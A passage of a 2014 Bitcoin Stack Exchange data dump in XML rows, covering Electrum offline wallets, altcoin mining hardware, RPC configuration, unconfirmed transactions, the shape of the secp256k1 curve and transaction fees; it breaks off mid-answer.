  <row Id="21879" PostTypeId="1" CreationDate="2014-02-09T02:38:18.827" Score="1" ViewCount="1069" Body="&lt;p&gt;Regarding the instructions to create watch-only wallets in Electrum, I am clear on the intial setup and functionality, signing transactions, etc. but I have a few questions about going forward:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it problematic to use two different OS (Windows on a Chromebook for offline comp along with OSX for watch-only comp).  Will Electrum have any problems going back and forth between two different OS? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As I make more transactions, is there any mistake I can make that can un-sync the two wallets? (I am mainly concerned about change addresses).  Going forward, can I always rely that I will be able to access newly generated private keys by expanding the gap limit and/or adding change addresses in the console?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can I manage a separate seeded wallet on my watch-only comp for smaller amounts or is this not reccomended?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am trying to be as secure as possible without having to learn Linux.  It has taken me long enough to figure out bitcoin and Electrum in general!  Thank you so much.&lt;/p&gt;&#xA;" OwnerUserId="13277" LastEditorUserId="13277" LastEditDate="2014-02-09T02:45:47.103" LastActivityDate="2014-02-09T11:55:22.800" Title="Electrum Offline Storage - two different OS, multiple wallets" Tags="|wallet|electrum|offline|storage|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21881" PostTypeId="2" ParentId="21879" CreationDate="2014-02-09T03:31:09.073" Score="1" Body="&lt;p&gt;This can easily be done and due to Bitcoin mechanics, you are going to be pretty safe. Electrum wallets cannot be desynced, maybe become inaccurate but the same seed will &lt;strong&gt;always&lt;/strong&gt; give you access to the corresponding wallet and its bitcoins. Electrum inaccuracies in balance and transaction history rectify themselves over time. Just restore from seed on the other computers to set your wallet up on multiple computers.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Why does this work out?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Bitcoin does a neat thing with transactions and history. I won't go into all of it but the blockchain makes working between two computers easy. Your seed is the deterministic private keys for 10 addresses on electrum. This will always be true, on any machine, anywhere in the universe (unless a bug breaks it on a computer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as you have the private keys, you have access to all funds sent to the corresponding public addresses of the private key. Even if the wallet is offline and detached, it can still access value. Imagine the electrum seed as a key to a coin safe, you can have as many duplicates of key as you want, as long as they are identical they will open the coin safe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The balance of your addresses are purely derived from info available to anyone on the Bitcoin network, your balance is not dependent on your Electrum program, computer, or identity. If you sent me an address, I could tell you the balance. To get your balance, Electrum queries the many Electrum nodes to sync up. The balance can be wrong on multiple computers but give it a few seconds to correct itself.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-02-09T03:31:09.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21882" PostTypeId="2" ParentId="21868" CreationDate="2014-02-09T03:42:30.237" Score="1" Body="&lt;p&gt;Yes it is completely possible. Bitcoin is not using any special features in the C++ program that aren't possible in other programs. If your programming language can do the following you are good to go. Although I suspect any programming language will pass this test.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ability to communicate with other computers over a network&lt;/li&gt;&#xA;&lt;li&gt;Ability to store data&lt;/li&gt;&#xA;&lt;li&gt;Ability to do basic math as well as advanced math needed for cryptographic functions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That's it really, you can probably make a Bitcoin clone in any language, the only thing that stands in your way is inefficiency. C++ is really fast and does the calculations Bitcoin needs with milliseconds. JavaScript may be significantly slower but still usable.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-02-09T03:42:30.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21883" PostTypeId="2" ParentId="21846" CreationDate="2014-02-09T04:00:22.307" Score="1" Body="&lt;p&gt;This error occurred because my blockchain was not synchronized, I waited for it to sync and then repeated the process and it worked &lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-02-09T04:00:22.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21884" PostTypeId="2" ParentId="20239" CreationDate="2014-02-09T04:09:50.863" Score="0" Body="&lt;p&gt;I found a DIY article (&lt;a href=&quot;http://www.ltcminingcontracts.com/DIYRig.aspx&quot; rel=&quot;nofollow&quot;&gt;http://www.ltcminingcontracts.com/DIYRig.aspx&lt;/a&gt;) for scrypt mining that uses 5 x Gigabyte R9 270 GPUs and a 1200 watt PSU.  They are more cost efficient than the 290X.  They use a lot less power, and although they have a lower hash rate individually, you can get multiple (for a larger combined hash rate) for the price of just one 290X.&lt;/p&gt;&#xA;" OwnerUserId="13280" LastActivityDate="2014-02-09T04:09:50.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21887" PostTypeId="2" ParentId="21871" CreationDate="2014-02-09T04:46:44.500" Score="0" Body="&lt;p&gt;To connect remotely from Bitcoin you should allow the ip of remote host and then you can easily send commands and receive response from your web server for this you need a static IP address. Add the following in your bitcoin configuration file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcallowip=ipofremotehost&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you have bitcoin on windows you should have conf file under %appdata% &gt; roaming &gt; bitcoin&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-02-09T04:46:44.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21889" PostTypeId="1" CreationDate="2014-02-09T08:39:38.770" Score="-1" ViewCount="1663" Body="&lt;p&gt;I'm new to this. I'm trying to time with my Intel HD 4000, for Dogecoins, just for fun. My CPU gets a miserable 7 khash. GUIMiner has the Intel 4000 HD on the drop down menu, but once I hit start, it says 'Command line options set a device that doesn't exist.' Help?&lt;/p&gt;&#xA;" OwnerUserId="13290" LastActivityDate="2014-03-11T10:03:26.120" Title="Mining with intel HD 4000" Tags="|dogecoin|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21890" PostTypeId="2" ParentId="21889" CreationDate="2014-02-09T09:08:20.963" Score="0" Body="&lt;p&gt;&lt;code&gt;GUIMiner&lt;/code&gt; was created for Bitcoin, which uses the &lt;code&gt;SHA-256&lt;/code&gt; hashing algorithm. Dogecoin uses &lt;code&gt;Scrypt&lt;/code&gt; as its hashing algorithm, therefore you should use &lt;a href=&quot;https://bitcointalk.org/index.php?topic=150331.0&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;GUIMiner-scrypt&lt;/code&gt;&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-02-09T09:08:20.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21892" PostTypeId="1" AcceptedAnswerId="21902" CreationDate="2014-02-09T10:54:46.310" Score="0" ViewCount="1809" Body="&lt;p&gt;How do I get access to the latest Bitcoin/Altcoin difficulties from the original &quot;source/network&quot;? I want to develop a C#/.NET application that collect this information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that there are web sites that provide information about Bitcoin and Altcoin difficulty. Coinchoose and Coinwarz provides JSON APIs for example. There are also blockexporers like &lt;a href=&quot;http://blockexplorer.com/q/nethash/2016&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/q/nethash/2016&lt;/a&gt; that could give me the current Bitcoin difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with Coinchoose and Coinwarz is that they are not complete, not fully real-time and Coinwarz cost money in addition to that. The block explorer above is for Bitcoin only. Are there block explorers for all AltCoins as well? And are they all providing different API's?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There must be some &quot;original source&quot;, like the mining network or similar, where you can connect and get this information in real-time? Or is that also completely different for each coin? I understand that each coin has its own mining network, but are they different except having different IP-addresses for example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is basically how do I get access to real-time coin difficulty information for Bitcoins and all other coins - not from an existing web site, but more on the API / programming level?&lt;/p&gt;&#xA;" OwnerUserId="13292" LastActivityDate="2017-10-25T17:12:25.650" Title="How to get difficulty for Bitcoin and other coins" Tags="|development|difficulty|altcoin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21894" PostTypeId="2" ParentId="21879" CreationDate="2014-02-09T11:55:22.800" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Electrum is based on Python, an interpreted language and thus operating system-independent. As long as you can install Python and the required Python packages in the corresponding OS, Electrum should work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When trying to figure out which addresses have been used, Electrum stops probing further addresses if several addresses (the gap limit) do not contain any BTC anymore (i.e. from transactions whose output has already been reused). So increasing the gap limit makes sure Electrum finds all generated addresses which contain any BTC. As far as I understand the code after a few minutes, when not using change addresses there is only one list of generated addresses, otherwise there are two lists.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using an additional seeded/online wallet for small amounts is a trade off between security and comfort. E.g. if you have a local store which accepts BTC, using an seeded wallet on your smartphone is much more comfortable than running home and signing the transaction using your offline wallet. The same is true for a seeded wallet on your online PC, although &quot;running home&quot; may not be an issue there. Multiple wallets can be used by starting Electrum with the &quot;-w walletfile&quot; parameter (replace walletfile with one the corresponding wallet files).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12419" LastActivityDate="2014-02-09T11:55:22.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21896" PostTypeId="2" ParentId="7484" CreationDate="2014-02-09T13:17:32.383" Score="2" Body="&lt;p&gt;how about TradingView. it's web based charting tool and it's free (ex: look for the pair BITSTAMP:BTCUSD). also, it doesn't seem to be just limited to bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.tradingview.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.tradingview.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.tradingview.com/e/&quot; rel=&quot;nofollow&quot;&gt;https://www.tradingview.com/e/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5131" LastActivityDate="2014-02-09T13:17:32.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21897" PostTypeId="2" ParentId="21868" CreationDate="2014-02-09T14:06:12.013" Score="1" Body="&lt;p&gt;I'm not sure if you mean a scripting language replacing C++ or replacing bitcoin's scripting language.&#xA;If you mean replacing C++, of course, php, python, ruby, javascript and, in general, most programming languages are as turing complete as C or C++. You can do anything doable with any of them. There's already bitcoin full nodes implemented in other languages such as java, I don't think python is too far from that if it's not implemented already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mean the bitcoin's scripting language (&lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Script&lt;/a&gt;), again, yes, it could be anything you want.&#xA;If you were going to replace bitcoin's scripts with a turing complete language, there's some risk you need to address. Here's a list of some potential attacks to the network abusing turing completeness:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=278122.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=278122.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of Bitcoin's script operation are actually &quot;disabled&quot; for security reasons and re-enabling them would probably require a softfork or even a hardfork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from that, there's many reasons why you would want the scripting language to be very simple, because you want all the different implementations of the script interpreter to behave in exactly the same way, even optimized interpreters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a couple of critical requirements for a language:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;b. The script must be simple, as thousands of nodes world-wide running&#xA;multiple implementations will need to reach global consensus over not&#xA;just the outcome of a script, but also some aspects of the execution&#xA;(e.g. an instruction counter). Consensus failures whether due to bugs&#xA;or faulty designs can lead to unsecured payment networks and possible&#xA;losses in the millions of dollars or more. Interpreter escape would be&#xA;absolutely catastrophic. So simple, minimal, but expressive&#xA;architectures with simple fail-safe implementations are to be&#xA;preferred over complex but user-friendly (RISC is better than CISC).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c. The language must support the various cryptographic primitives&#xA;necessary for performing core bitcoin functions. Mostly this just&#xA;means adding a handful of builtin words for performing strong&#xA;cryptographic hashes and elliptic curve signature verification, but&#xA;there are some requirements on the language design as well, chiefly in&#xA;making decisions about how the stack is represented for hash&#xA;operations and in supporting authenticated data structures as&#xA;primitive types for external state.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taken from:&#xA;&lt;a href=&quot;https://groups.yahoo.com/neo/groups/concatenative/conversations/messages/4950&quot; rel=&quot;nofollow&quot;&gt;https://groups.yahoo.com/neo/groups/concatenative/conversations/messages/4950&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, it would be a bad idea to use directly a language as powerful as python for the scripting, but you could have a more simple language, let's call it secureScript and build a compiler from python to secureScript.&lt;/p&gt;&#xA;" OwnerUserId="192" LastActivityDate="2014-02-09T14:06:12.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21898" PostTypeId="1" CreationDate="2014-02-09T14:16:27.193" Score="1" ViewCount="640" Body="&lt;p&gt;My bitcoin qt client v8.5 crashed last week (I had already got full blockchain indexed a long time ago) and I had to force quit it. It's now re-indexing the blockchain but using sometimes up to 427% of Macbook CPU and the fans are on at 6000 revs for hours... It never did this when I first synced up so what is wrong this time round?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Bard&lt;/p&gt;&#xA;" OwnerUserId="13297" LastActivityDate="2015-03-17T21:21:54.730" Title="Reindexing of blockchain using bitcoin qt v8.5 using 427% of Macbook CPU" Tags="|bitcoin-core|cpu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21899" PostTypeId="2" ParentId="21898" CreationDate="2014-02-09T14:30:37.223" Score="2" Body="&lt;p&gt;When you're synchronizing from network, you're most likely limited by the rate of fetching blocks. When you're reindexing blocks that are already present on disk, only CPU is the bottleneck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The algorithm to decide where and when to request blocks is relatively stupid, slow, and easy to confuse. This is why during synchronization from network, you rarely use all bandwidth available. This is being worked on, but it's not a simple problem, if you want to avoid many problematic edge cases. EDIT: bandwidth usage should be a lot better since Bitcoin Core v0.10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When reindexing block on disk, the reference client will by default use all CPU cores available, to speed up the process. You can put &lt;code&gt;par=1&lt;/code&gt; in bitcoin.conf to restrict the validation operation to a single core. As of 0.9 (not yet released), you'll also be able to change this value in the GUI configuration.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2015-03-17T21:21:54.730" LastActivityDate="2015-03-17T21:21:54.730" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21900" PostTypeId="2" ParentId="21513" CreationDate="2014-02-09T15:41:58.607" Score="0" Body="&lt;p&gt;Concerning fiat, maybe you could build something like that on top of those services using escrow agents with user trust ratings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still haven't seen a good model. At some point you have to trust someone to hold the fiat. Who would you trust aside from a bank or similar institutions insured to protect your fiat?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This article on &lt;a href=&quot;http://www.dgcmagazine.com/true-peer-to-peer-currency-exchange/&quot; rel=&quot;nofollow noreferrer&quot;&gt;True peer-to-peer currency exchange&lt;/a&gt; explains how the people at &lt;a href=&quot;http://www.metalair.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Metalair&lt;/a&gt; envision one possibility.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bob is looking to sell his bitcoins for Euros and enters a sell order&#xA;(ask) via the MetaLair network. &lt;/li&gt;&#xA;&lt;li&gt;Alice is looking to buy bitcoins in&#xA;exchange for her Euros and enters a buy order (bid).&lt;/li&gt;&#xA;&lt;li&gt;The MetaLair system connects Bob and Alice who both agree to use Ivan as the&#xA;escrow agent.&lt;/li&gt;&#xA;&lt;li&gt;Ivan is a small time Europe based escrow agent who has a good trust rating via the MetaLair network. &lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Ivan acts as the escrow agent for the fiat funds and holds Alice’s Euros in his bank account!&lt;/em&gt; (Emphasis mine)&lt;/li&gt;&#xA;&lt;li&gt;Ivan therefore also acts as the escrow agent for the Bitcoin transfer&#xA;which is done via the Bitcoin network using a 2 of 3 transaction. (or&#xA;this may be automated)&lt;/li&gt;&#xA;&lt;li&gt;The Bitcoin transaction completes successfully.&lt;/li&gt;&#xA;&lt;li&gt;Ivan transfers the Euros to Bob’s bank account. Ivan receives a fee for his services.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Would you trust Ivan, who is ultimately just some stranger, with a significant amount of your Euros?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;http://bitcoininsight.com/tag/fiat-money/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ripple and Bitcoin – Foundations of a Decentralized Economy&lt;/a&gt; a similar model using &lt;a href=&quot;https://ripple.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ripple&lt;/a&gt; is explained except that the trusted agents are really people you trust. But even in that case, how much fiat would you trust most of your friends with? More concerning, what happens when you have a $200 relationship with 20 friends and in one unlucky week you end up in debt for near the max to each one for a total approaching $4000, each of those friends having a real need for that money? These kinds of inevitable breakdowns lead to urban legends and an erosion of trust in the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Digging a bit deeper into Ripple, it has the concept of &lt;a href=&quot;https://ripple.com/wiki/Ripple_for_Gateways&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gateways&lt;/a&gt; (very well illustrated at the link) which is defined as &quot;any business that allows its customers to move money into or out of the Ripple network.&quot; Although it looks decentralized in theory, I don't see how it could be in practice. The future gateways will ultimately be today's exchanges: Mt. Gox et. al. The infrastructure doesn't do anything to change the nature of those companies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that while at first glance Ripple looks decentralized, there is still at least one component (the UNL) which is maintained by a central authority. See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/21950/is-ripples-unl-list-maintained-by-the-network&quot;&gt;this question&lt;/a&gt; for more details and the road map for making UNLs decentralized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although Ripple looks promising in terms of infrastructure all of these solutions fail to tackle the real challenge: how do you decentralize trust, accountability, and insurance against default?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For anything other than small amounts, history would tend to point to the average person only trusting large centralized institutions that are accountable to federal law and backed against risk by their government.&lt;/p&gt;&#xA;" OwnerUserId="13295" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-02-10T14:06:25.680" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="21901" PostTypeId="1" CreationDate="2014-02-09T16:09:56.983" Score="22" ViewCount="116904" Body="&lt;p&gt;If I have a low amount and don't include a fee, the transaction takes forever to get confirmed. What happens if it never gets confirmed? Can the wallet that I sent it to still spend the money?&lt;/p&gt;&#xA;" OwnerUserId="12950" LastEditorUserId="5406" LastEditDate="2017-02-20T19:34:09.363" LastActivityDate="2021-02-10T15:33:16.907" Title="What happens if your transaction is never confirmed?" Tags="|unconfirmed-transactions|confirmations|blockspace-market|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21902" PostTypeId="2" ParentId="21892" CreationDate="2014-02-09T16:26:10.623" Score="3" Body="&lt;p&gt;Bitcoins as well as all of the altcoins that I know of have their own API. For example here is &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;bitcoins API&lt;/a&gt;. It has a method called &lt;code&gt;getdifficulty&lt;/code&gt; which &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Returns the proof-of-work difficulty as a multiple of the minimum difficulty.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So if you had &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoind&quot; rel=&quot;nofollow&quot;&gt;bitcoind&lt;/a&gt; installed, you could then just type in the terminal &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind getdifficulty&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2014-02-09T16:26:10.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21903" PostTypeId="2" ParentId="21901" CreationDate="2014-02-09T16:28:01.560" Score="10" Body="&lt;p&gt;If a transaction goes unconfirmed for too long, it will eventually disappear from the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most clients will remove it from their pool of unconfirmed transactions at some point. When most clients have removed it, you can go ahead and send the transaction again, this time with a higher fee. There's not a precise time when the transaction will disappear from the network, it could be days or up to a week. This is why it's always recommended to set a transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet that you sent it to cannot spend it because it's not confirmed. So you have to wait until it disappears from the network and send an entirely new transaction.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="5406" LastEditDate="2014-02-09T22:11:53.870" LastActivityDate="2014-02-09T22:11:53.870" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21907" PostTypeId="1" AcceptedAnswerId="21911" CreationDate="2014-02-09T16:47:59.710" Score="82" ViewCount="61542" Body="&lt;p&gt;I'm reading up on ECC curves and on many of them I see an illustration that looks like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hAaxS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does the comparable curve in Bitcoin look like, or are all curves generally the same?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorDisplayName="user5672" LastEditDate="2014-11-11T14:01:17.783" LastActivityDate="2023-09-25T02:15:05.240" Title="What does the curve used in Bitcoin, secp256k1, look like?" Tags="|cryptography|secp256k1|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21909" PostTypeId="1" AcceptedAnswerId="21910" CreationDate="2014-02-09T17:59:36.847" Score="1" ViewCount="1066" Body="&lt;p&gt;It can take a day or more to get in synch, so it's somewhat problematic to only start it when I want to transact.  But are there any security issues in keeping it running constantly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the general practice for those using local wallets?&lt;/p&gt;&#xA;" OwnerUserId="11495" LastActivityDate="2014-02-09T19:16:22.053" Title="Should I keep my bitcoin-qt wallet running all the time?" Tags="|wallet|bitcoin-core|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21910" PostTypeId="2" ParentId="21909" CreationDate="2014-02-09T19:02:28.267" Score="2" Body="&lt;p&gt;You have to keep it running only until it's fully synched. Once it's synched there's no need to keep it running all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There aren't really any security issues with keeping it running. If your wallets are protected with a password, there's really no security implications with keeping Bitcoin-QT running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One benefit to keeping it running all the time is that you're helping the Bitcoin network by validating and relaying transactions to other peers. This is also greatly improved if you open the 8333 port on your firewall: &lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ#Do_I_need_to_configure_my_firewall_to_run_Bitcoin.3F&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/FAQ#Do_I_need_to_configure_my_firewall_to_run_Bitcoin.3F&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-02-09T19:09:23.477" LastActivityDate="2014-02-09T19:09:23.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21911" PostTypeId="2" ParentId="21907" CreationDate="2014-02-09T19:05:07.487" Score="108" Body="&lt;p&gt;I'm afraid you won't like the answer.&lt;/p&gt;&#xA;&lt;p&gt;These curves - including the &lt;code&gt;secp256k1&lt;/code&gt; curve, &lt;em&gt;y&lt;sup&gt;2&lt;/sup&gt; = x&lt;sup&gt;3&lt;/sup&gt; + 7&lt;/em&gt; - 'look' nice when evaluated in typical fields (like the real numbers), but secp256k1 is defined over the finite field &lt;em&gt;Z&lt;sub&gt;2&lt;sup&gt;256&lt;/sup&gt;-2&lt;sup&gt;32&lt;/sup&gt;-977&lt;/sub&gt;&lt;/em&gt;, which means the X and Y coordinates are 256-bit integers modulo a large number. Curves using such coordinates do not have any concept of continuous lines.&lt;/p&gt;&#xA;&lt;p&gt;I've tried to plot this curve over a similar but much smaller field, Z&lt;sub&gt;2&lt;sup&gt;8&lt;/sup&gt;+1&lt;/sub&gt;. Coordinates extend from -128 to 128.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iil7a.png&quot; alt=&quot;y² = x³ + 7 over Z257, -128 through 128&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that even though it may not make sense geometrically anymore, it still has all properties you need. A line (which means, a group of points with equation &lt;em&gt;ay + bx + c = 0&lt;/em&gt;) that 'intersects' 2 points of the curve, will intersect a third. Tangent again has no geometric interpretation anymore, but you can still symbolically compute a derivative of the equation in a given point, which will have the property of intersecting the curve in a second point.&lt;/p&gt;&#xA;&lt;p&gt;To show you what you'd get if this were over the real numbers, here is a plot of the same curve equation for that case. Once with coordinates -128 through 128, once with -8 through 8.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sNHuH.png&quot; alt=&quot;y² = x³ + 7 over R, -128 through 128&quot; /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nhutd.png&quot; alt=&quot;y² = x³ + 7 over R, -8 through 8&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2021-09-03T21:14:10.940" LastActivityDate="2021-09-03T21:14:10.940" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="21912" PostTypeId="2" ParentId="21909" CreationDate="2014-02-09T19:16:22.053" Score="3" Body="&lt;p&gt;The &lt;em&gt;first&lt;/em&gt; time you load the client, it can take some time to download the whole blockchain (currently something like 15 GB). However, if you close the client and then reopen it, the client will only download the new blocks from the blockchain that it hasn't seen yet. The previous part of the blockchain is already stored on your computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To catch up a day's worth of blocks should only take a minute or two. It's perfectly reasonable to close the client when you're not using it.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-02-09T19:16:22.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21913" PostTypeId="2" ParentId="21901" CreationDate="2014-02-09T19:43:02.923" Score="8" Body="&lt;p&gt;Your client will have this marked as spent and will prevent you from sending any unspent coins included in the transaction while continuing to try to broadcast the original transaction. There is an easy solution, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You simply need to dumpprivkey and add it to another client, where you can send the coins from this address to another, effectively creating a double-spend permanently nullifying the original transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instructions on how to export and import private keys can be found here: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5614/using-dumpprivkey-to-make-a-paper-backup&quot;&gt;Using dumpprivkey to make a paper backup&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, blockchain.info (and mtgox) allow you to import private keys which you can spend from your web wallet.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-02-09T19:43:02.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21914" PostTypeId="2" ParentId="20173" CreationDate="2014-02-09T19:49:43.510" Score="1" Body="&lt;p&gt;If you are trying to minimize your expenses from sending transaction, consider this bit from &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sending&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A transaction may be safely sent without fees if these conditions are met:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is smaller than 1,000 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All outputs are 0.01 BTC or larger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its priority is large enough (see the Technical Info section below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, the reference implementation will round up the transaction size to the next thousand bytes and add a fee of 0.1 mBTC (0.0001 BTC) per thousand bytes[1]. As an example, a fee of 0.1 mBTC (0.0001 BTC) would be added to a 746 byte transaction, and a fee of 0.2 mBTC (0.0002 BTC) would be added to a 1001 byte transaction. Users may increase the default 0.0001 BTC/kB fee setting, but cannot control transaction fees for each transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-Qt does prompt the user to accept the fee before the transaction is sent (they may cancel the transaction if they are not willing to pay the 